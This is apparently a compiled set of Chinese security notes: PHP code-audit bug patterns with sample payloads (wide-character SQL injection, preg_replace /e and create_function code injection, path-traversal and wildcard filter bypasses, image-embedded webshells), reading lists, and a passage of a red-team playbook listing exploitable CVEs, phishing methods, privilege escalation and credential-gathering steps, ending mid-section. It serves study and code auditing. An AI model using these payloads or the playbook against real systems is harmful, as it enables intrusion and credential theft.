echo $_SERVER['REMOTE_ADDR']; //访问端（有可能是用户，有可能是代理的）IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的（有可能存在，可伪造）
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理（有可能存在，也可以伪造）
客户端：
注意发送的格式：
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
复制代码
#这个玩意恒成立的。不管有没有clientip
strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')
复制代码
```

### 绕过正则匹配

#### 缺少^和$限定

#### 数组绕过正则

```php
\A[ _a-zA-Z0-9]+\z
```

#### str\_replace路径穿越

原理：str\_replace的过滤方式为其search参数数组从左到右一个一个过滤。

```php
## 这里可以被绕过，因为是对.和/或\的组合的过滤，所以单独的..或\/没有检测到。
## 方法1
## 五个点加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替换数量';
echo $countb;
复制代码
## 这里有对单独的.进行过滤，所以无法绕过。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替换数量';
echo $counta;
复制代码
```

### short\_open\_tag=on 短标签

原理：当 php.ini 的short\_open\_tag=on时，PHP支持短标签，默认情况下为off。格式为：`<?xxxx;?> --> <?xxx;`

```php
Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld
复制代码
```

### file\_put\_contents第二个参数传入数组

原理：

```php
file_put_contents(file,data,mode,context)
file    必需。规定要写入数据的文件。如果文件不存在，则创建一个新文件。
data    可选。规定要写入文件的数据。可以是字符串、数组或数据流。如果是数组的话，将被连接成字符串再进行写入。
复制代码
## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 这个要从burp去传，因为后面的【?】会被理解为参数而截断
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);
复制代码
```

### 单引号和双引号

原理：单引号或双引号都可以用来定义字符串。但只有双引号会调用解析器。

```php
# 1
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
# 2
$abc='I love u';
echo $abc //结果是:I love u
echo '$abc' //结果是:$abc
echo "$abc" //结果是:I love u
# 3
$a="${@phpinfo()}"; //可以解析出来
<?php $a="${@phpinfo()}";?> //@可以为空格，tab，/**/ ，回车，+，-，!，~,\等
复制代码
```

#### 查询语句缺少单引号

```php
"Select * from table where id=$id" # 有注入
"Select * from table where id=".$id." limit 1" # 有注入
"Select * from table where id='$id'" # 无注入
"Select * from table where id='".$id."' limit 1" # 无注入
复制代码
```

### 宽字符注入

原理:

常见转码函数： iconv() mb\_convert\_encoding() addslashes

防御：

用mysql\_real\_escape\_string

```php
## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
## %df把\给吃掉，所以这里可以绕过addslashes的转义
$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";
复制代码
```

### 跳转无退出

原理:没有使用return()或die()或exit()退出流程的话，下面的代码还是会继续执行。可以使用burp测试，不会跳转过去。

```php
## 1
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');
## 2
header("location: ../index.php");
复制代码
```

### 二次编码注入

由于浏览器的一次urldecode，再由服务器端函数的一次decode，造成二次编码，而绕过过滤。如%2527，两次urldecode会最后变成'

```php
base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
unserialize/serialize
字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等
复制代码
```

### 前端可控变量填充导致XSS

当html里的链接是变量时，易出现XSS。

```php
={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}
复制代码
```

### 命令执行函数

```php
system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引号调用shell_exec()函数
popen()和proc_open() //不会返回结果
array_map($arr,$array); //为数组的每个元素应用回调函数arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //这样就会在D下生成一个2.txt。
preg_replace()
ob_start()
array_map()
复制代码
```

防范方法：

1. 使用自定义函数或函数库来替代外部命令的功能
2. 使用escapeshellarg 函数来处理命令参数
3. 使用safe\_mode\_exec\_dir 指定可执行文件的路径

#### create\_function

create\_function构造了一个return后面的语句为一个函数。

```php
#?sort_by="]);}phpinfo();/*
#sort_function就变成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面闭合，然后把后面的全部注释掉了。
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
复制代码
```

#### mb\_ereg\_replace()的/e模式

原理

```php
mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
string mb_ereg_replace  ( string $pattern , string $replacement  , string $string  [, string $option= "msr"  ] )
当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行.
复制代码
```

#### preg\_replace /e模式执行命令

```php
# ?str=[phpinfo()]
# 这里使用/e模式，所以第二个参数\\1这里可以执行。
# 通过$_GET传入值，第一个参数正则,把[]去掉，放到了第二个参数里\\1，执行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);
复制代码
```

### 动态函数执行

```php
call_user_func
call_user_func_array
复制代码
# ?a=assert
call_user_func($_GET['a'],$b);
复制代码
```

### 代码执行

```php
assert()
call_user_func()
call_user_func_array()
create_function()
复制代码
```

#### eval()和assert()代码执行

当assert()的参数为字符串时 可执行PHP代码。 区别：assert可以不加;，eval不可以不加。

```php
eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
复制代码
```

### 优先级绕过

原理：如果运算符优先级相同，那运算符的结合方向决定了该如何运算 [php.net/manual/zh/l…](http://php.net/manual/zh/language.operators.precedence.php)

优先级：&&/|| 大于 = 大于 AND/OR

```php
# ($test = true) and false; $test2 = (true && false);
$test = true and false; var_dump($test);//bool(true)
$test2 = true && false; var_dump($test2); //bool(false)
# 当有两个is_numeric判断并用and连接时，and后面的is_numeric可以绕过
$test3 = is_numeric("123") and is_numeric("anything false"); var_dump($test3); //bool(true)
复制代码
```

### getimagesize图片判断绕过

原理：

当用getimagesize判断文件是否为图片,可以判断的文件为gif/png/jpg，如果指定的文件如果不是有效的图像，会返回 false。 只要我们在文件头部加入GIF89a后可以上传任意后缀文件。

生成小马图的方法：

```php
cat image.png webshell.php > image.php
复制代码
## 找上传点
## 文件头部加入GIF89a
# 1
$file = $request->getFiles();
# 2
if(getimagesize($files['users']['photo']['tmp_name']))
        {
          move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
# 3
$filesize = @getimagesize('/path/to/image.png');
if ($filesize) {
    do_upload();
}
复制代码
```

### <变\*，windows findfirstfile利用

原理：Windows下，在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。 执行过程中，字符">"被替换成"?"，字符"<"被替换成"\*"，而符号"（双引号）被替换成一个"."字符。所以：

1. ">"">>"可代替一个字符,"<"可以代替后缀名多个字符（即.后的字符），"<<"可以代替包括文件名和后缀名多个字符。所以一般使用<<
2. " 可以代替.
3. 文件名第一个字符是"."的话，读取时可以忽略之

| NO  | Status | Function               | Type of operation      |
| --- | ------ | ---------------------- | ---------------------- |
| 1.  | OK     | include()              | Includefile            |
| 2.  | OK     | include\_once()        | Includefile            |
| 3.  | OK     | require()              | Includefile            |
| 4.  | OK     | require\_once()        | Include file           |
| 5.  | OK     | fopen()                | Openfile               |
| 6.  | OK     | ZipArchive::open()     | Archive file           |
| 7.  | OK     | copy()                 | Copyfile               |
| 8.  | OK     | file\_get\_contents()  | Readfile               |
| 9.  | OK     | parse\_ini\_file()     | Readfile               |
| 10. | OK     | readfile()             | Readfile               |
| 11. | OK     | file\_put\_contents()  | Write file             |
| 12. | OK     | mkdir()                | New directory creation |
| 13. | OK     | tempnam()              | New file creation      |
| 14. | OK     | touch()                | New file creation      |
| 15. | OK     | move\_uploaded\_file() | Move operation         |
| 16. | OK     | opendiit)              | Directory operation    |
| 17. | OK     | readdir()              | Directory operation    |
| 18. | OK     | rewinddir()            | Directory operation    |
| 19. | OK     | closedir()             | Directory operation    |
| 20. | FAIL   | rename()               | Move operation         |
| 21. | FAIL   | unlink()               | Delete file            |
| 22. | FAIL   | rmdir())               | Directory operation    |

```php
## ?file=1<
## ?file=1>
## ?file=1"txt
文件名为1.txt

## ?file=1234.tx>
## ?file=1234.<
## ?file=1<<
## ?file=1<<">
## ?file=123>">
## ?file=>>>4">
## ?file=<<4">
文件名为1234.txt

include('shell<');
include('shell<<');
include('shell.p>p');
include('shell"php');
fopen('.htacess');  //==>fopen("htacess');
file_get_contents('C:boot.ini'); //==>  file_get_contents ('C:/boot.ini');
file_get_contents('C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节，直到遇到eof
file_put_contents('C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音
复制代码
```

### Linux 通配符利用

原理：linux下，\*代表任意字符(0到多个)，?代表一个字符，所以如果是有执行linux系统命令，那就可以用这些通配符来绕过过滤，并执行我们想要的命令

```php
<?php
## 本地flag路径为 /data/sublime/php/audit/3/flag.txt
## ?filename='/????/???????/???/?????/?/*'
function waf($file){
    return preg_replace('/[a-z0-9.]/i', '', "$file");
}
$filename = $_GET['file'];
$file = waf($filename);
echo $file;
system('less '.$file);
复制代码
```

### 处理value没有处理key

foreach时,addslashes对获得的value值进行处理，但没有处理key。

### 用来目录遍历的特别函数

[wooyun.webbaozi.com/bug\_detail.…](http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088094)

lstat 函数

[wooyun.webbaozi.com/bug\_detail.…](http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088071) stream\_resolve\_include\_path函数

[wooyun.webbaozi.com/bug\_detail.…](http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083688)

[wooyun.webbaozi.com/bug\_detail.…](http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083457)

[wooyun.webbaozi.com/bug\_detail.…](http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083453)

### 绕过GD库图片渲染

jpg\_payload.zip

jpg\_name.jpg是待GD处理的图片

```
php jpg_payload.php <jpg_name.jpg>
复制代码
```

生成好的图片，在经过如下代码处理后，依然能保留其中的shell：

```php
<?php
    imagecreatefromjpeg('xxxx.jpg');
?>
复制代码
```

### 会话固定

```php
if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通过GET方法传递sessionid
复制代码
```

通过get方法来设置session。所以可以通过CSRF：

<http://xxxx/index.php?r=admin/index/index\\&phpsessid=f4cking123>

管理员点了我们就能使用此session进后台了。

### 黑名单绕过

原理：通过黑名单将敏感字符替换为空，然而只按顺序执行一次。可通过故意过滤构造payload.

```php
## %*27
## 经典如phpcms9.6.0注入,过滤后去掉了*，剩下的%27即可使用。
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}
复制代码
```

### XXE注入

原理：simplexml\_load\_file函数的参数过滤不严，导致引入外部实体。产生任意文件读取。

### 文件上传条件竞争

原理：

后台逻辑：将上传的文件上传到Web目录，然后检查文件的安全性，如果发现文件不安全就马上通过unlink()将其删除。 利用方法：在上传完成和安全检查完成并删除它的间隙，攻击者通过不断地发起访问请求的方法访问了该文件，该文件就会被执行，并且在服务器上生成一个恶意shell。这时候shell已经生成，文件被删除就无所谓了。

```php
<?php
  if($_FILES["file"]["error"] > 0)){
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
    //check file
    unlink("upload/"._FILES["file"]["name"]));
 }
?>
复制代码
```

### 资料

[github.com/bowu678/php…](https://github.com/bowu678/php_bugs)

[github.com/jiangsir404…](https://github.com/jiangsir404/Audit-Learning)

[read.douban.com/reader/eboo…](https://read.douban.com/reader/ebook/16642056/)

[github.com/SecWiki/CMS…](https://github.com/SecWiki/CMS-Hunter)

[github.com/CHYbeta/Cod…](https://github.com/CHYbeta/Code-Audit-Challenges)

作者：木禾ali0th 链接：<https://juejin.cn/post/6844903829725511693> 来源：掘金 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。


# JAVA

JAVA

MemShellParty - <https://party.memshell.news/>

web-chains - <https://github.com/Java-Chains/web-chains>

攻击Java Web应用-\[Java Web安全 园长] - <https://www.javasec.org/>

漏洞分析\[nice0e3] - <https://www.cnblogs.com/nice0e3/>

Java安全\[天下大木头] - <https://www.yuque.com/tianxiadamutou/zcfd4v/>

JavaWeb代码审计\[素十八] - <https://su18.org/post/code-audit/>

JavaSec\[Y4tacker] - <https://github.com/Y4tacker/JavaSec>


# .NET

.NET

<https://www.cnblogs.com/nice0e3/p/15236334.html> - AAA 初识.Net审计 - nice\_0e3

<https://xz.aliyun.com/t/9481> - 粗略快速定位程序中明显的漏洞（.Net审计）

<https://xz.aliyun.com/t/6646> - ASP.NET 代码审计 -先知社区


# 红队作战手册

项目地址：https\://github.com/klionsec/RedTeamer — klion

## 流程简要说明

```
入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护
```

## 0x01 入口权限获取 \[ 前期侦察 ]

搜集阶段本身就不存在太多可防御的点，非防御重心

```
绕CDN找出目标所有真实ip段
找目标的各种Web管理后台登录口
批量抓取目标所有真实C段 Web banner
批量对目标所有真实C段 进行基础服务端口扫描探测识别
尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
批量抓取目标所有子域 Web banner
批量对目标所有子域集中进行基础服务端口探测识别
批量识别目标 所有存活Web站点的Web程序指纹 及其详细版本
从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
从网盘 / 百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
目标Svn里泄露的各类 敏感文件
网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
目标站点自身在前端代码中泄露的各种敏感信息
fofa / shodan / bing / google  hacking 深度利用
搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱是否曾经泄露过密码 ]
目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
目标微信小程序
分析目标app Web请求
借助js探针搜集目标内网信息
想办法混入目标的各种 内部QQ群 / 微信群
分析目标直接供应商 [尤其是技术外包]
根据前面已搜集到的各类信息制作有针对性的弱口令字典
目标所用 Waf 种类识别 与 绕过
BypassWAF 文件上传 / 读取 / 下载
   BypassWAF Sql注入
   BypassWAF RCE
   BypassWAF 各类Java Web中间件已知Nday漏洞利用
   BypassWAF Webshell 免杀

其它更多 , 待补充修正...
```

## 0x02 入口权限获取 \[ 外部防御 ]

重心 ( "重中之重" )

```
此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件"
```

* 针对各类Java中间件的各种已知Nday漏洞利用

```
不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的
```

* Struts2

```
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057
```

* weblogic

```
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell
```

* Jboss

```
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell
```

* wildfly \[ jboss 7.x 改名为 wildfly ]

```
控制台弱口令,部署webshell
```

* Tomcat

```
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]
```

* Jekins

```
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行
```

* ElasticSearch

```
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露
```

* RabbitMQ

```
弱口令
```

* Glassfish

```
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell
```

* IBM Websphere

```
Java 反序列化
控制台弱口令,部署webshell
```

* Axis2

```
任意文件读取
目录遍历
```

* Apache ActiveMQ

```
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254
```

* Apache Solr

```
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]
```

* Apache Zookeeper

```
未授权访问,敏感信息泄露
```

* Apache Shiro反序列化
* fastjson <= 1.2.47 反序列化利用
* 针对各类Windows php集成环境 \[ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]

```
AppServ
Xampp
宝塔
PhpStudy        
......
```

* 针对各类开源程序的 已知Nday漏洞利用

```
Dedecms     后台弱口令,系列已知nday漏洞利用
thinkphp 5.x     后台弱口令,系列已知nday漏洞利用
phpcms         后台弱口令,系列已知nday漏洞利用
ecshop         后台弱口令,系列已知nday漏洞利用
Metinfo     后台弱口令,系列已知nday漏洞利用
discuz         后台弱口令,系列已知nday漏洞利用
帝国cms               后台弱口令,系列已知nday漏洞利用
phpmyadmin     数据库弱口令,系列已知nday漏洞利用
wordpress     后台弱口令,系列已知nday漏洞利用
joomla         后台弱口令,系列已知nday漏洞利用
drupal         CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......
```

* 针对其它各类Web组件的 已知Nday漏洞利用
* IIS 6.0 RCE

```
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269
```

* 禅道项目管理系统

```
SQL注入
文件读取
远程执行
```

* 通达OA

```
SQL注入
任意上传
```

* Zimbra \[ XXE + SSRF => RCE ]

```
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670
```

* Citrix

```
CVE-2019-19781
```

* Jumpserver

```
身份验证绕过
```

* Zabbix

```
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露
```

* Cacti

```
低版本 SQL注入
控制台弱口令
```

* Nagios

```
CVE-2016-9565
控制台弱口令
```

* Webmin RCE

```
CVE-2019-15107
```

* PHPMailer

```
CVE-2016-10033
```

* OA系统任意文件上传
* 泛微OA远程代码执行
* 金蝶OA SQL注入
* Coremail 敏感文件泄露
* UEditor 任意文件上传
* OpenSSL心脏滴血抓明文账号密码 \[ Heartbleed ]
* 破壳漏洞 \[ Shellshock ]
* 各种常规Web漏洞利用 \[ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]

```
后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS（实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞
```

* 针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用
* Pulse Secure VPN

```
CVE-2019-1151 [ 任意文件读取 ]
```

* Fortinet VPN

```
CVE-2018-13379 [ 文件读取 ]
```

* Sangfor Vpn RCE

## 0x03 入口权限获取 \[ 基础服务 ]

专门针对各类基础服务端口的各种getshell利用，防御重点 ( "重中之重" )

```
此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明
```

* Top Port List

```
Mssql       [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM      [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS      [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]
```

## 0x04 入口权限获取 \[ 钓鱼攻击 ]

传统钓鱼攻击利用，实际护网场景中用的非常频繁，细节非常多，此处不一一列举，防御重点

* 发信前期准备

```
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
```

* 典型投递方式

```
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]...
```

```
第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
...
```

## 0x05 主机安全 \[ 提权利用 ]

防御重点

```
以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及
```

* Windows 系统漏洞 本地提权 \[ 成功的前提是,保证事先已做好各种针对性免杀 ]

```
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]                    [重点]
MS14-068[KB3011780]                    [重点]
ms15-051[KB3045171]                    [重点]
MS15-077[KB3077657]                    [重点]
MS16-032[KB3124280]                    [重点]
ms16-075                        [重点]
MS16-135[KB3199135]                    [重点]
MS17-010[KB4013389]                    [重点]
cve-2019-0708                        [重点]
CVE-2019-0803                        [重点]
CVE-2019-1322 & CVE-2019-1405                [重点]
```

* linux 内核漏洞 本地提权 \[ linux-exploit-suggester ]

```
CVE-2016-5195                        [重点]
CVE-2017-16995
CVE-2019-13272
```

* 利用各类第三方服务 / 软件工具提权

```
Mssql                             [重点]
Oracle                                 [重点]
Mysql
各类第三方软件dll劫持                     [重点]
suid权限                        
计划任务
各种错误服务配置
```

## 0x06 内网安全 \[ 敏感信息搜集 ]

防御重点，可在此项严格限制各种系统内置命令执行

* 搜集当前已控"跳板机"的各类敏感信息

```
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作
```

* 利用当前已控 "跳板机", 分析目标内网大致拓扑 及 所有关键性业务机器分布
* 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" \[smb探测扫描]
* 针对内网的各种高危敏感服务定位\["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
* 内网批量 Web Banner 抓取,获取关键目标业务系统如下

```
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...
```

```
针对以上的各种内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量,再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的
```

* 针对各类已知系统高危RCE漏洞的批量探测识别与利用

```
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断
```

## 0x07 内网安全 \[ 各类敏感凭证 "搜集" 与 "窃取" ]

* 主动密码搜集

```
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
